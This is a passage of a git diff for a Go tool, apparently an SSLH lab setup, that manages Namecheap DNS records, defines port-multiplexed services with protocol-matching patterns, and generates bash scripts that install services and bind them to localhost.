||||
}
|
||||
|
||||
func (c *Client) IsDomainUsingNamecheapDNS(domain string) (bool, error) {
|
||||
domainInfo, err := c.GetDomainInfo(domain)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return domainInfo.IsUsingNamecheapDNS, nil
|
||||
}
|
||||
|
||||
func (c *Client) SetDomainToNamecheapDNS(domain string) error {
|
||||
sld := extractSLD(domain)
|
||||
tld := extractTLD(domain)
|
||||
|
||||
if sld == "" || tld == "" {
|
||||
return fmt.Errorf("invalid domain format: %s (could not extract SLD/TLD)", domain)
|
||||
}
|
||||
|
||||
query := c.buildQueryParams("namecheap.domains.dns.setDefault", map[string]string{
|
||||
"SLD": sld,
|
||||
"TLD": tld,
|
||||
})
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to set domain to Namecheap DNS: %w", err)
|
||||
}
|
||||
|
||||
bodyStr := string(resp.Body())
|
||||
|
||||
if resp.IsError() {
|
||||
return fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
|
||||
}
|
||||
|
||||
var result domainDNSSetDefaultResult
|
||||
if err := parseDNSSetDefaultResponse(resp.Body(), &result); err != nil {
|
||||
return fmt.Errorf("failed to parse response: %w\nAPI response: %s", err, bodyStr)
|
||||
}
|
||||
|
||||
if !result.Updated {
|
||||
return fmt.Errorf("API returned Updated=false for domain %s\nAPI response: %s", domain, bodyStr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractSLD(domain string) string {
|
||||
parts := splitDomain(domain)
|
||||
if len(parts) >= 2 {
|
||||
return parts[len(parts)-2]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractTLD(domain string) string {
|
||||
parts := splitDomain(domain)
|
||||
if len(parts) >= 1 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func splitDomain(domain string) []string {
|
||||
var parts []string
|
||||
start := 0
|
||||
for i, char := range domain {
|
||||
if char == '.' {
|
||||
if i > start {
|
||||
parts = append(parts, domain[start:i])
|
||||
}
|
||||
start = i + 1
|
||||
}
|
||||
}
|
||||
if start < len(domain) {
|
||||
parts = append(parts, domain[start:])
|
||||
}
|
||||
return parts
|
||||
}
|
||||
|
||||
type apiResponse struct {
|
||||
XMLName xml.Name `xml:"ApiResponse"`
|
||||
Status string `xml:"Status,attr"`
|
||||
Errors []apiError `xml:"Errors>Error"`
|
||||
CommandResponse commandResponse `xml:"CommandResponse"`
|
||||
}
|
||||
|
||||
type apiError struct {
|
||||
Number string `xml:"Number,attr"`
|
||||
Text string `xml:",chardata"`
|
||||
}
|
||||
|
||||
type commandResponse struct {
|
||||
DomainGetListResult domainGetListResult `xml:"DomainGetListResult"`
|
||||
DomainDNSSetHostsResult domainDNSSetHostsResult `xml:"DomainDNSSetHostsResult"`
|
||||
DomainDNSGetHostsResult domainDNSGetHostsResult `xml:"DomainDNSGetHostsResult"`
|
||||
DomainGetInfoResult domainGetInfoResult `xml:"DomainGetInfoResult"`
|
||||
DomainDNSSetDefaultResult domainDNSSetDefaultResult `xml:"DomainDNSSetDefaultResult"`
|
||||
}
|
||||
|
||||
type domainGetListResult struct {
|
||||
Domains []domainXML `xml:"Domain"`
|
||||
}
|
||||
|
||||
type domainXML struct {
|
||||
Name string `xml:"Name"`
|
||||
}
|
||||
|
||||
type domainGetInfoResult struct {
|
||||
DomainName string `xml:"DomainName,attr"`
|
||||
IsUsingNamecheapDNS bool `xml:"IsUsingNamecheapDNS,attr"`
|
||||
Nameservers []nameserverXML `xml:"Nameservers>Nameserver"`
|
||||
}
|
||||
|
||||
type nameserverXML struct {
|
||||
Name string `xml:",chardata"`
|
||||
}
|
||||
|
||||
type domainDNSSetDefaultResult struct {
|
||||
Domain string `xml:"Domain,attr"`
|
||||
Updated bool `xml:"Updated,attr"`
|
||||
}
|
||||
|
||||
type domainDNSGetHostsResult struct {
|
||||
Hosts []hostXML `xml:"host"`
|
||||
}
|
||||
|
||||
type domainDNSSetHostsResult struct {
|
||||
IsSuccess bool `xml:"IsSuccess,attr"`
|
||||
}
|
||||
|
||||
type hostXML struct {
|
||||
Name string `xml:"Name,attr"`
|
||||
Type string `xml:"Type,attr"`
|
||||
Address string `xml:"Address,attr"`
|
||||
TTL string `xml:"TTL,attr"`
|
||||
MXPref string `xml:"MXPref,attr"`
|
||||
}
|
||||
|
||||
func parseDomainListResponse(body []byte, domains *[]Domain) error {
|
||||
var resp apiResponse
|
||||
if err := xml.Unmarshal(body, &resp); err != nil {
|
||||
return fmt.Errorf("failed to unmarshal XML: %w", err)
|
||||
}
|
||||
|
||||
if resp.Status != "OK" {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API returned error status: %s", errorMsgs)
|
||||
}
|
||||
|
||||
if len(resp.Errors) > 0 {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API errors in response: %s", errorMsgs)
|
||||
}
|
||||
|
||||
*domains = make([]Domain, 0, len(resp.CommandResponse.DomainGetListResult.Domains))
|
||||
for _, domainXML := range resp.CommandResponse.DomainGetListResult.Domains {
|
||||
*domains = append(*domains, Domain{
|
||||
Name: domainXML.Name,
|
||||
})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseDNSHostListResponse(body []byte, records *[]DNSRecord) error {
|
||||
var resp apiResponse
|
||||
if err := xml.Unmarshal(body, &resp); err != nil {
|
||||
return fmt.Errorf("failed to unmarshal XML: %w", err)
|
||||
}
|
||||
|
||||
if resp.Status != "OK" {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API returned error status: %s", errorMsgs)
|
||||
}
|
||||
|
||||
if len(resp.Errors) > 0 {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API errors in response: %s", errorMsgs)
|
||||
}
|
||||
|
||||
*records = make([]DNSRecord, 0, len(resp.CommandResponse.DomainDNSGetHostsResult.Hosts))
|
||||
for i, hostXML := range resp.CommandResponse.DomainDNSGetHostsResult.Hosts {
|
||||
ttl := 1799
|
||||
if hostXML.TTL != "" {
|
||||
if parsedTTL, err := strconv.Atoi(hostXML.TTL); err == nil {
|
||||
ttl = parsedTTL
|
||||
}
|
||||
}
|
||||
|
||||
mxPref := 10
|
||||
if hostXML.MXPref != "" {
|
||||
if parsedMXPref, err := strconv.Atoi(hostXML.MXPref); err == nil {
|
||||
mxPref = parsedMXPref
|
||||
}
|
||||
}
|
||||
|
||||
*records = append(*records, DNSRecord{
|
||||
ID: fmt.Sprintf("%d", i+1),
|
||||
Type: hostXML.Type,
|
||||
Name: hostXML.Name,
|
||||
Address: hostXML.Address,
|
||||
TTL: ttl,
|
||||
MXPref: mxPref,
|
||||
})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseDomainInfoResponse(body []byte, domain *Domain) error {
|
||||
var resp apiResponse
|
||||
if err := xml.Unmarshal(body, &resp); err != nil {
|
||||
return fmt.Errorf("failed to unmarshal XML: %w", err)
|
||||
}
|
||||
|
||||
if resp.Status != "OK" {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API returned error status: %s", errorMsgs)
|
||||
}
|
||||
|
||||
if len(resp.Errors) > 0 {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API errors in response: %s", errorMsgs)
|
||||
}
|
||||
|
||||
result := resp.CommandResponse.DomainGetInfoResult
|
||||
domain.Name = result.DomainName
|
||||
domain.IsUsingNamecheapDNS = result.IsUsingNamecheapDNS
|
||||
|
||||
domain.Nameservers = make([]string, 0, len(result.Nameservers))
|
||||
for _, ns := range result.Nameservers {
|
||||
domain.Nameservers = append(domain.Nameservers, ns.Name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseDNSSetDefaultResponse(body []byte, result *domainDNSSetDefaultResult) error {
|
||||
var resp apiResponse
|
||||
if err := xml.Unmarshal(body, &resp); err != nil {
|
||||
return fmt.Errorf("failed to unmarshal XML: %w\nResponse body: %s", err, string(body))
|
||||
}
|
||||
|
||||
if resp.Status != "OK" {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
if len(errorMsgs) == 0 {
|
||||
errorMsgs = append(errorMsgs, "unknown error (no error details in response)")
|
||||
}
|
||||
return fmt.Errorf("API returned error status: %s", errorMsgs)
|
||||
}
|
||||
|
||||
if len(resp.Errors) > 0 {
|
||||
var errorMsgs []string
|
||||
for _, err := range resp.Errors {
|
||||
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
|
||||
}
|
||||
return fmt.Errorf("API errors in response: %s", errorMsgs)
|
||||
}
|
||||
|
||||
if resp.CommandResponse.DomainDNSSetDefaultResult.Domain == "" {
|
||||
return fmt.Errorf("API response missing DomainDNSSetDefaultResult\nResponse body: %s", string(body))
|
||||
}
|
||||
|
||||
*result = resp.CommandResponse.DomainDNSSetDefaultResult
|
||||
return nil
|
||||
}
|
||||
34
internal/providers/namecheap/dns.go
Normal file
34
internal/providers/namecheap/dns.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package namecheap
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (c *Client) WaitForDNSPropagation(domain, subdomain, expectedIP string, timeout time.Duration) error {
|
||||
deadline := time.Now().Add(timeout)
|
||||
backoff := 5 * time.Second
|
||||
maxBackoff := 80 * time.Second
|
||||
|
||||
for {
|
||||
if time.Now().After(deadline) {
|
||||
return fmt.Errorf("timeout waiting for DNS propagation")
|
||||
}
|
||||
|
||||
records, err := c.ListDNSRecords(domain)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to check DNS records: %w", err)
|
||||
}
|
||||
|
||||
for _, record := range records {
|
||||
if record.Name == subdomain && record.Address == expectedIP {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(backoff)
|
||||
if backoff < maxBackoff {
|
||||
backoff *= 2
|
||||
}
|
||||
}
|
||||
}
|
||||
313
internal/services/definitions.go
Normal file
313
internal/services/definitions.go
Normal file
@@ -0,0 +1,313 @@
|
||||
package services
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Service struct {
|
||||
Name string
|
||||
Port int
|
||||
Subdomain string
|
||||
Protocol string
|
||||
BackendPort int
|
||||
SNIRequired bool
|
||||
Config map[string]interface{}
|
||||
}
|
||||
|
||||
func GetDefaultServices(domain string) []Service {
|
||||
return []Service{
|
||||
{
|
||||
Name: "ssh",
|
||||
Port: 22,
|
||||
Subdomain: "ssh",
|
||||
Protocol: "ssh",
|
||||
BackendPort: 22,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "https",
|
||||
Port: 443,
|
||||
Subdomain: "",
|
||||
Protocol: "tls",
|
||||
BackendPort: 8444,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"alpn_protocols": []string{"h2", "http/1.1"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "smb",
|
||||
Port: 445,
|
||||
Subdomain: "smb",
|
||||
Protocol: "regex",
|
||||
BackendPort: 445,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x00\\x00\\x00"},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func GetAdditionalServices(domain string) []Service {
|
||||
return []Service{
|
||||
{
|
||||
Name: "ldap",
|
||||
Port: 389,
|
||||
Subdomain: "ldap",
|
||||
Protocol: "regex",
|
||||
BackendPort: 389,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x30"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ldaps",
|
||||
Port: 636,
|
||||
Subdomain: "ldaps",
|
||||
Protocol: "tls",
|
||||
BackendPort: 636,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "rdp",
|
||||
Port: 3389,
|
||||
Subdomain: "rdp",
|
||||
Protocol: "regex",
|
||||
BackendPort: 3389,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x03\\x00\\x00"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "mysql",
|
||||
Port: 3306,
|
||||
Subdomain: "mysql",
|
||||
Protocol: "regex",
|
||||
BackendPort: 3306,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "postgres",
|
||||
Port: 5432,
|
||||
Subdomain: "postgres",
|
||||
Protocol: "regex",
|
||||
BackendPort: 5432,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func GetStandardServices(domain string) []Service {
|
||||
return []Service{
|
||||
{
|
||||
Name: "ssh",
|
||||
Port: 22,
|
||||
Subdomain: "ssh",
|
||||
Protocol: "ssh",
|
||||
BackendPort: 22,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "https",
|
||||
Port: 443,
|
||||
Subdomain: "",
|
||||
Protocol: "tls",
|
||||
BackendPort: 8444,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"alpn_protocols": []string{"h2", "http/1.1"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ldap",
|
||||
Port: 389,
|
||||
Subdomain: "ldap",
|
||||
Protocol: "regex",
|
||||
BackendPort: 389,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x30"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ldaps",
|
||||
Port: 636,
|
||||
Subdomain: "ldaps",
|
||||
Protocol: "tls",
|
||||
BackendPort: 636,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "smb",
|
||||
Port: 445,
|
||||
Subdomain: "smb",
|
||||
Protocol: "regex",
|
||||
BackendPort: 445,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x00\\x00\\x00"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "rdp",
|
||||
Port: 3389,
|
||||
Subdomain: "rdp",
|
||||
Protocol: "regex",
|
||||
BackendPort: 3389,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x03\\x00\\x00"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "mysql",
|
||||
Port: 3306,
|
||||
Subdomain: "mysql",
|
||||
Protocol: "regex",
|
||||
BackendPort: 3306,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "postgres",
|
||||
Port: 5432,
|
||||
Subdomain: "postgres",
|
||||
Protocol: "regex",
|
||||
BackendPort: 5432,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "redis",
|
||||
Port: 6379,
|
||||
Subdomain: "redis",
|
||||
Protocol: "regex",
|
||||
BackendPort: 6379,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\*[0-9]"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "mongodb",
|
||||
Port: 27017,
|
||||
Subdomain: "mongo",
|
||||
Protocol: "regex",
|
||||
BackendPort: 27017,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^[\\x3d\\xdb]\\x00\\x00\\x00"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "vnc",
|
||||
Port: 5900,
|
||||
Subdomain: "vnc",
|
||||
Protocol: "regex",
|
||||
BackendPort: 5900,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^RFB"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ftp",
|
||||
Port: 21,
|
||||
Subdomain: "ftp",
|
||||
Protocol: "regex",
|
||||
BackendPort: 21,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^220"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ftps",
|
||||
Port: 990,
|
||||
Subdomain: "ftps",
|
||||
Protocol: "tls",
|
||||
BackendPort: 990,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "smtp",
|
||||
Port: 25,
|
||||
Subdomain: "smtp",
|
||||
Protocol: "regex",
|
||||
BackendPort: 25,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^220"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "smtps",
|
||||
Port: 465,
|
||||
Subdomain: "smtps",
|
||||
Protocol: "tls",
|
||||
BackendPort: 465,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "imap",
|
||||
Port: 143,
|
||||
Subdomain: "imap",
|
||||
Protocol: "regex",
|
||||
BackendPort: 143,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\* OK"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "imaps",
|
||||
Port: 993,
|
||||
Subdomain: "imaps",
|
||||
Protocol: "tls",
|
||||
BackendPort: 993,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
{
|
||||
Name: "pop3",
|
||||
Port: 110,
|
||||
Subdomain: "pop3",
|
||||
Protocol: "regex",
|
||||
BackendPort: 110,
|
||||
SNIRequired: false,
|
||||
Config: map[string]interface{}{
|
||||
"regex_patterns": []string{"^\\+OK"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "pop3s",
|
||||
Port: 995,
|
||||
Subdomain: "pop3s",
|
||||
Protocol: "tls",
|
||||
BackendPort: 995,
|
||||
SNIRequired: true,
|
||||
Config: map[string]interface{}{},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Service) GetFQDN(domain string) string {
|
||||
return fmt.Sprintf("%s.%s", s.Subdomain, domain)
|
||||
}
|
||||
196
internal/services/installer.go
Normal file
196
internal/services/installer.go
Normal file
@@ -0,0 +1,196 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type ServiceInstaller struct {
|
||||
Service Service
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) GenerateInstallScript() string {
|
||||
var script strings.Builder
|
||||
|
||||
script.WriteString("#!/bin/bash\n")
|
||||
script.WriteString("set -e\n\n")
|
||||
|
||||
switch si.Service.Name {
|
||||
case "ssh":
|
||||
script.WriteString(si.installSSH())
|
||||
case "https":
|
||||
script.WriteString(si.installNginx())
|
||||
case "smb":
|
||||
script.WriteString(si.installSamba())
|
||||
case "ldap", "ldaps":
|
||||
script.WriteString(si.installLDAP())
|
||||
case "mysql":
|
||||
script.WriteString(si.installMySQL())
|
||||
case "postgres":
|
||||
script.WriteString(si.installPostgreSQL())
|
||||
case "redis":
|
||||
script.WriteString(si.installRedis())
|
||||
case "mongodb":
|
||||
script.WriteString(si.installMongoDB())
|
||||
default:
|
||||
script.WriteString(si.installGeneric())
|
||||
}
|
||||
|
||||
return script.String()
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installSSH() string {
|
||||
return `# Configure SSH to listen on localhost only
|
||||
sed -i 's/#ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
|
||||
sed -i 's/ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
|
||||
systemctl restart sshd
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installNginx() string {
|
||||
return `# Configure Nginx to listen on localhost:8444 for HTTPS
|
||||
# Create demo page directory
|
||||
mkdir -p /var/www/demo
|
||||
cat > /var/www/demo/index.html <<'HTML'
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Demo App Page</title>
|
||||
<meta charset="utf-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
}
|
||||
.container {
|
||||
text-align: center;
|
||||
padding: 2rem;
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
border-radius: 10px;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
h1 {
|
||||
margin: 0;
|
||||
font-size: 3rem;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Demo app page</h1>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
# Configure Nginx for root domain and subdomains
|
||||
cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'
|
||||
# Default server for root domain (HTTPS on port 443 via SSLH)
|
||||
server {
|
||||
listen 127.0.0.1:8444 ssl http2;
|
||||
server_name _;
|
||||
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
|
||||
root /var/www/demo;
|
||||
index index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
}
|
||||
EOF
|
||||
ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/
|
||||
rm -f /etc/nginx/sites-enabled/default
|
||||
nginx -t && systemctl restart nginx
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installSamba() string {
|
||||
return `# Configure Samba to listen on localhost only
|
||||
sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf
|
||||
sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf
|
||||
systemctl restart smbd
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installLDAP() string {
|
||||
return `# Install and configure OpenLDAP
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -y slapd ldap-utils
|
||||
# Configure OpenLDAP to listen on localhost only
|
||||
sed -i 's|^SLAPD_SERVICES=.*|SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps://127.0.0.1:636/"|' /etc/default/slapd || true
|
||||
systemctl enable slapd
|
||||
systemctl restart slapd
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installMySQL() string {
|
||||
return `# Install MySQL/MariaDB and configure to listen on localhost
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server || DEBIAN_FRONTEND=noninteractive apt-get install -y mariadb-server
|
||||
if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ]; then
|
||||
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf
|
||||
elif [ -f /etc/mysql/mariadb.conf.d/50-server.cnf ]; then
|
||||
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mariadb.conf.d/50-server.cnf
|
||||
fi
|
||||
systemctl restart mysql || systemctl restart mariadb
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installPostgreSQL() string {
|
||||
return `# Install PostgreSQL and configure to listen on localhost
|
||||
apt-get install -y postgresql postgresql-contrib
|
||||
for conf in /etc/postgresql/*/main/postgresql.conf; do
|
||||
if [ -f "$conf" ]; then
|
||||
sed -i "s/#listen_addresses = 'localhost'/listen_addresses = 'localhost'/" "$conf" || \
|
||||
sed -i "s/listen_addresses = '.*'/listen_addresses = 'localhost'/" "$conf" || \
|
||||
echo "listen_addresses = 'localhost'" >> "$conf"
|
||||
fi
|
||||
done
|
||||
systemctl restart postgresql
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installRedis() string {
|
||||
return `# Install Redis and configure to listen on localhost
|
||||
apt-get install -y redis-server
|
||||
sed -i 's/bind 127.0.0.1 ::1/bind 127.0.0.1/' /etc/redis/redis.conf
|
||||
systemctl restart redis-server
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installMongoDB() string {
|
||||
return `# Install MongoDB and configure to listen on localhost
|
||||
# Detect Ubuntu version for correct repository
|
||||
. /etc/os-release
|
||||
UBUNTU_VERSION=${VERSION_ID:-22.04}
|
||||
UBUNTU_CODENAME=${UBUNTU_CODENAME:-jammy}
|
||||
|
||||
# Add MongoDB GPG key using modern method
|
||||
mkdir -p /etc/apt/keyrings
|
||||
curl -fsSL https://www.mongodb.org/static/pgp/server-6.0.asc | gpg --dearmor -o /etc/apt/keyrings/mongodb-server-6.0.gpg
|
||||
chmod 644 /etc/apt/keyrings/mongodb-server-6.0.gpg
|
||||
|
||||
# Add MongoDB repository
|
||||
echo "deb [ arch=amd64,arm64 signed-by=/etc/apt/keyrings/mongodb-server-6.0.gpg ] https://repo.mongodb.org/apt/ubuntu ${UBUNTU_CODENAME}/mongodb-org/6.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-6.0.list
|
||||
apt-get update
|
||||
apt-get install -y mongodb-org
|
||||
sed -i 's/bindIp: .*/bindIp: 127.0.0.1/' /etc/mongod.conf
|
||||
systemctl enable mongod
|
||||
systemctl restart mongod
|
||||
`
|
||||
}
|
||||
|
||||
func (si *ServiceInstaller) installGeneric() string {
|
||||
return fmt.Sprintf(`# Generic service installation for %s
|
||||
echo "Service %s would be installed here"
|
||||
`, si.Service.Name, si.Service.Name)
|
||||
}
|
||||
86
internal/ssh/keygen.go
Normal file
86
internal/ssh/keygen.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package ssh
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type KeyPair struct {
|
||||
PrivateKey []byte
|
||||
PublicKey []byte
|
||||
Passphrase string
|
||||
}
|
||||
|
||||
func GenerateKeyPair(passphrase string) (*KeyPair, error) {
|
||||
if passphrase == "" {
|
||||
var err error
|
||||
passphrase, err = GenerateSecurePassphrase(32)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate passphrase: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Create temporary directory for key generation
|
||||
tmpDir, err := os.MkdirTemp("", "sslh-lab-keygen-*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create temp directory: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(tmpDir)
|
||||
|
||||
tmpKeyPath := filepath.Join(tmpDir, "id_ed25519")
|
||||
|
||||
// Use ssh-keygen to generate OpenSSH format key with passphrase
|
||||
cmd := exec.Command("ssh-keygen", "-t", "ed25519", "-f", tmpKeyPath, "-N", passphrase, "-C", "sslh-lab-generated")
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return nil, fmt.Errorf("failed to generate SSH key with ssh-keygen: %w", err)
|
||||
}
|
||||
|
||||
// Read the generated private key
|
||||
privateKeyBytes, err := os.ReadFile(tmpKeyPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read generated private key: %w", err)
|
||||
}
|
||||
|
||||
// Read the generated public key
|
||||
publicKeyBytes, err := os.ReadFile(tmpKeyPath + ".pub")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read generated public key: %w", err)
|
||||
}
|
||||
|
||||
return &KeyPair{
|
||||
PrivateKey: privateKeyBytes,
|
||||
PublicKey: publicKeyBytes,
|
||||
Passphrase: passphrase,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func SaveKeyPair(keyPair *KeyPair, outputDir string) (string, string, error) {
|
||||
if err := os.MkdirAll(outputDir, 0700); err != nil {
|
||||
